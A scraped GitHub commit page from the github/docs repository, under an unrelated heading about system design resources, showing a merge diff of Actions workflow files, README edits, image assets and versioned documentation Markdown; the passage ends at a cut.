These are the best resources for System Design on the Internet

A collection of best resources to learn System Design, Software architecture, and prepare for System Design Interviews

Learn System Design concepts and prepare for interviews using free resources.

Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. BIN +27.6 KB assets/images/help/classroom/assignment-repository-ide-button-in-readme.png Binary file not shown. BIN +83.4 KB assets/images/help/classroom/assignments-assign-deadline.png Binary file not shown. BIN +32.4 KB assets/images/help/classroom/assignments-assignment-title.png Binary file not shown. BIN +27.7 KB assets/images/help/classroom/assignments-autograding-click-pencil-or-trash.png Binary file not shown. BIN +72 KB assets/images/help/classroom/assignments-choose-repository-visibility.png Binary file not shown. BIN +20.1 KB assets/images/help/classroom/assignments-click-continue-button.png Binary file not shown. BIN +23.7 KB assets/images/help/classroom/assignments-click-create-assignment-button.png Binary file not shown. BIN +76.4 KB assets/images/help/classroom/assignments-click-grading-and-feedback.png Binary file not shown. BIN +53.1 KB assets/images/help/classroom/assignments-click-new-assignment-button.png Binary file not shown. BIN +134 KB assets/images/help/classroom/assignments-click-online-ide.png Binary file not shown. BIN +77.8 KB assets/images/help/classroom/assignments-click-pencil.png Binary file not shown. BIN +18.8 KB assets/images/help/classroom/assignments-click-review-button.png Binary file not shown. BIN +20.6 KB assets/images/help/classroom/assignments-click-save-test-case-button.png Binary file not shown. BIN +121 KB assets/images/help/classroom/assignments-click-template-repository-in-list.png Binary file not shown. BIN +21.1 KB assets/images/help/classroom/assignments-click-update-assignment.png Binary file not shown. BIN +76.9 KB assets/images/help/classroom/assignments-click-view-ide.png Binary file not shown. BIN +96.5 KB assets/images/help/classroom/assignments-click-view-test.png Binary file not shown. BIN +71.3 KB assets/images/help/classroom/assignments-define-teams.png Binary file not shown. BIN +39.4 KB assets/images/help/classroom/assignments-enable-feedback-pull-requests.png Binary file not shown. BIN +40.4 KB assets/images/help/classroom/assignments-type-protected-file-paths.png Binary file not shown. BIN +330 KB assets/images/help/classroom/autograding-actions-logs.png Binary file not shown. BIN +187 KB assets/images/help/classroom/autograding-actions-tab.png Binary file not shown. BIN +94.9 KB assets/images/help/classroom/autograding-click-grading-method.png Diff not rendered. BIN +57.5 KB assets/images/help/classroom/autograding-click-pencil.png Diff not rendered. BIN +57.7 KB assets/images/help/classroom/autograding-click-trash.png Diff not rendered. BIN +168 KB assets/images/help/classroom/autograding-hero.png Diff not rendered. BIN +154 KB assets/images/help/classroom/classroom-add-students-to-your-roster.png Diff not rendered. BIN +166 KB assets/images/help/classroom/classroom-copy-credentials.png Diff not rendered. BIN +181 KB assets/images/help/classroom/classroom-hero.png Diff not rendered. BIN +48.3 KB assets/images/help/classroom/classroom-settings-click-connection-settings.png Diff not rendered. BIN +94 KB ...ges/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png Diff not rendered. BIN +148 KB assets/images/help/classroom/classroom-settings-click-lms.png Diff not rendered. BIN +149 KB assets/images/help/classroom/click-assignment-in-list.png Diff not rendered. BIN +52.3 KB assets/images/help/classroom/click-classroom-in-list.png Diff not rendered. BIN +49.5 KB assets/images/help/classroom/click-create-classroom-button.png Diff not rendered. BIN +30 KB assets/images/help/classroom/click-create-roster-button.png Diff not rendered. BIN +78.2 KB assets/images/help/classroom/click-delete-classroom-button.png Diff not rendered. BIN +60.8 KB ...images/help/classroom/click-import-from-a-learning-management-system-button.png Diff not rendered. BIN +51.9 KB assets/images/help/classroom/click-new-classroom-button.png Diff not rendered. BIN +83.4 KB assets/images/help/classroom/click-organization.png Diff not rendered. BIN +28.4 KB assets/images/help/classroom/click-settings.png Diff not rendered. BIN +29.7 KB assets/images/help/classroom/click-students.png Diff not rendered. BIN +60 KB assets/images/help/classroom/click-update-students-button.png Diff not rendered. BIN +127 KB assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png Diff not rendered. BIN +104 KB assets/images/help/classroom/delete-classroom-modal-with-warning.png Diff not rendered. BIN +264 KB assets/images/help/classroom/ide-makecode-arcade-version-control-button.png Diff not rendered. BIN +69.4 KB assets/images/help/classroom/ide-replit-version-control-button.png Diff not rendered. BIN +234 KB assets/images/help/classroom/lms-github-classroom-credentials.png Diff not rendered. BIN +955 KB assets/images/help/classroom/probot-settings.gif Diff not rendered. BIN +113 KB assets/images/help/classroom/roster-hero.png Diff not rendered. BIN +40.4 KB assets/images/help/classroom/settings-click-rename-classroom-button.png Diff not rendered. BIN +41 KB assets/images/help/classroom/settings-type-classroom-name.png Diff not rendered. BIN +140 KB assets/images/help/classroom/setup-click-authorize-github-classroom.png Diff not rendered. BIN +102 KB assets/images/help/classroom/setup-click-authorize-github.png Diff not rendered. BIN +163 KB assets/images/help/classroom/setup-click-grant.png Diff not rendered. BIN +324 KB assets/images/help/classroom/students-click-delete-roster-button-in-modal.png Diff not rendered. BIN +91.1 KB assets/images/help/classroom/students-click-delete-roster-button.png Diff not rendered. BIN +48.2 KB assets/images/help/classroom/type-classroom-name.png Diff not rendered. BIN +174 KB assets/images/help/classroom/type-or-upload-student-identifiers.png Diff not rendered. BIN +83.3 KB assets/images/help/classroom/use-drop-down-then-click-archive.png Diff not rendered. BIN +45.2 KB assets/images/help/classroom/use-drop-down-then-click-unarchive.png Diff not rendered. BIN +55.4 KB assets/images/help/discussions/choose-new-category.png Diff not rendered. BIN +56.8 KB assets/images/help/discussions/click-delete-and-move-button.png Diff not rendered. BIN +59.7 KB assets/images/help/discussions/click-delete-discussion.png Diff not rendered. BIN +65.3 KB assets/images/help/discussions/click-delete-for-category.png Diff not rendered. BIN +68.9 KB assets/images/help/discussions/click-delete-this-discussion-button.png Diff not rendered. BIN +353 KB assets/images/help/discussions/click-discussion-in-list.png Diff not rendered. BIN +41 KB assets/images/help/discussions/click-edit-categories.png Diff not rendered. BIN +64.3 KB assets/images/help/discussions/click-edit-for-category.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-edit-pinned-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-new-category-button.png Diff not rendered. BIN +98.2 KB assets/images/help/discussions/click-pin-discussion-button.png Diff not rendered. BIN +55.7 KB assets/images/help/discussions/click-pin-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-save.png Diff not rendered. BIN +59.9 KB assets/images/help/discussions/click-transfer-discussion-button.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-transfer-discussion.png Diff not rendered. BIN +63.3 KB assets/images/help/discussions/click-unpin-discussion-button.png Diff not rendered. BIN +59.8 KB assets/images/help/discussions/click-unpin-discussion.png Diff not rendered. BIN +140 KB assets/images/help/discussions/comment-mark-as-answer-button.png Diff not rendered. BIN +136 KB assets/images/help/discussions/comment-marked-as-answer.png Diff not rendered. BIN +234 KB assets/images/help/discussions/customize-pinned-discussion.png Diff not rendered. BIN +1.21 MB assets/images/help/discussions/discussons-hero.png Diff not rendered. BIN +139 KB assets/images/help/discussions/edit-category-details.png Diff not rendered. BIN +136 KB assets/images/help/discussions/edit-existing-category-details.png Diff not rendered. BIN +55.5 KB assets/images/help/discussions/existing-category-click-save-changes-button.png Diff not rendered. BIN +680 KB assets/images/help/discussions/hero.png Diff not rendered. BIN +307 KB assets/images/help/discussions/most-helpful.png Diff not rendered. BIN +52.9 KB assets/images/help/discussions/new-category-click-create-button.png Diff not rendered. BIN +132 KB assets/images/help/discussions/new-discussion-button.png Diff not rendered. BIN +140 KB assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png Diff not rendered. BIN +46.7 KB assets/images/help/discussions/new-discussion-start-discussion-button.png Diff not rendered. BIN +108 KB assets/images/help/discussions/new-discussion-title-and-body-fields.png Diff not rendered. BIN +23.1 KB assets/images/help/discussions/public-repo-settings.png Diff not rendered. BIN +49.5 KB assets/images/help/discussions/repository-discussions-tab.png Diff not rendered. BIN +51.8 KB assets/images/help/discussions/search-and-filter-controls.png Diff not rendered. BIN +44.4 KB assets/images/help/discussions/search-result.png Diff not rendered. BIN +35.4 KB assets/images/help/discussions/select-discussions-checkbox.png Diff not rendered. BIN +44.8 KB assets/images/help/discussions/setup-discussions-button.png Diff not rendered. BIN +95.9 KB assets/images/help/discussions/toggle-allow-users-with-read-access-checkbox.png Diff not rendered. BIN +73 KB assets/images/help/discussions/unanswered-discussion.png Diff not rendered. BIN +81.3 KB assets/images/help/discussions/use-choose-a-repository-drop-down.png Diff not rendered. BIN +30.3 KB assets/images/help/discussions/your-discussions.png Diff not rendered. BIN +563 KB assets/images/help/education/click-get-teacher-benefits.png Diff not rendered. BIN +116 KB assets/images/help/images/overview-actions-result-navigate.png Diff not rendered. BIN +150 KB assets/images/help/images/overview-actions-result-updated-2.png Diff not rendered. BIN +128 KB assets/images/help/images/workflow-graph-job.png Diff not rendered. BIN +135 KB assets/images/help/images/workflow-graph.png Diff not rendered. BIN +5.46 KB assets/images/help/organizations/update-profile-button.png Diff not rendered. BIN +44.6 KB assets/images/help/pull_requests/dependency-review-rich-diff.png Diff not rendered. BIN +24.6 KB assets/images/help/pull_requests/dependency-review-source-diff.png Diff not rendered. BIN +214 KB assets/images/help/pull_requests/dependency-review-vulnerability.png Diff not rendered. BIN +105 KB assets/images/help/pull_requests/file-filter-menu-json.png Diff not rendered. BIN +22.5 KB (510%) assets/images/help/pull_requests/pull-request-tabs-changed-files.png Diff not rendered. BIN +45.2 KB assets/images/help/repository/actions-delete-artifact-updated.png Diff not rendered. BIN +122 KB assets/images/help/repository/actions-failed-pester-test-updated.png Diff not rendered. BIN +45.4 KB assets/images/help/repository/artifact-drop-down-updated.png Diff not rendered. BIN +54.5 KB assets/images/help/repository/cancel-check-suite-updated.png Diff not rendered. BIN +120 KB assets/images/help/repository/copy-link-button-updated-2.png Diff not rendered. BIN +77.6 KB assets/images/help/repository/delete-all-logs-updated-2.png Diff not rendered. BIN +326 KB assets/images/help/repository/docker-action-workflow-run-updated.png Diff not rendered. BIN +84.6 KB assets/images/help/repository/download-logs-drop-down-updated-2.png Diff not rendered. BIN +170 KB assets/images/help/repository/in-progress-run.png Diff not rendered. BIN +124 KB assets/images/help/repository/javascript-action-workflow-run-updated-2.png Diff not rendered. BIN +116 KB assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png Diff not rendered. BIN +80.8 KB assets/images/help/repository/rerun-checks-drop-down-updated.png Diff not rendered. BIN +41.2 KB assets/images/help/repository/search-log-box-updated-2.png Diff not rendered. BIN +133 KB assets/images/help/repository/super-linter-workflow-results-updated-2.png Diff not rendered. BIN +97.5 KB assets/images/help/repository/superlinter-lint-code-base-job-updated.png Diff not rendered. BIN -128 KB assets/images/help/repository/upload-build-test-artifact.png Diff not rendered. BIN +27.5 KB (170%) assets/images/help/repository/view-run-billable-time.png Diff not rendered. BIN +54.8 KB assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png Diff not rendered. BIN +7.54 KB assets/images/help/settings/appearance-tab.png Diff not rendered. BIN +39.7 KB assets/images/help/settings/theme-settings-radio-buttons.png Diff not rendered. BIN +11.1 KB assets/images/help/settings/update-theme-preference-button.png Diff not rendered. BIN +22.5 KB assets/images/help/sponsors/billing-account-switcher.png Diff not rendered. BIN +6.37 KB (150%) assets/images/help/sponsors/edit-sponsorship-payment-button.png Diff not rendered. BIN +34.8 KB assets/images/help/sponsors/link-account-button.png Diff not rendered. BIN +12.8 KB (170%) assets/images/help/sponsors/manage-your-sponsorship-button.png Diff not rendered. BIN +20.6 KB assets/images/help/sponsors/organization-update-email-textbox.png Diff not rendered. BIN +13.5 KB assets/images/help/sponsors/pay-prorated-amount-link.png Diff not rendered. BIN +34.7 KB assets/images/help/sponsors/select-an-account-drop-down.png Diff not rendered. BIN +17 KB assets/images/help/sponsors/sponsor-as-drop-down-menu.png Diff not rendered. BIN +15.8 KB assets/images/help/sponsors/sponsoring-as-drop-down-menu.png Diff not rendered. BIN +16.1 KB assets/images/help/sponsors/sponsoring-settings-button.png Diff not rendered. BIN +29.5 KB assets/images/help/sponsors/sponsoring-tab.png Diff not rendered. BIN +7.91 KB assets/images/help/sponsors/update-checkbox-manage.png Diff not rendered. BIN +43 KB (160%) assets/images/marketplace/marketplace-request-button.png Diff not rendered. BIN +53.6 KB assets/images/marketplace/marketplace_verified_creator_badges_apps.png Diff not rendered. 6 content/actions/creating-actions/creating-a-docker-container-action.md @@ -226,6 +226,10 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% elsif currentVersion ver_gt "enterprise-server@2.22" %}  {% else %}  4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ```  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data  1. Under "Workflow runs", click the name of the run you want to see.  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see.  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. View the results of each step.  {% elsif currentVersion ver_gt "enterprise-server@2.22" %} 1. Click on the job name to see the results of each step.  {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.  1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.  1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% else %}{% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% 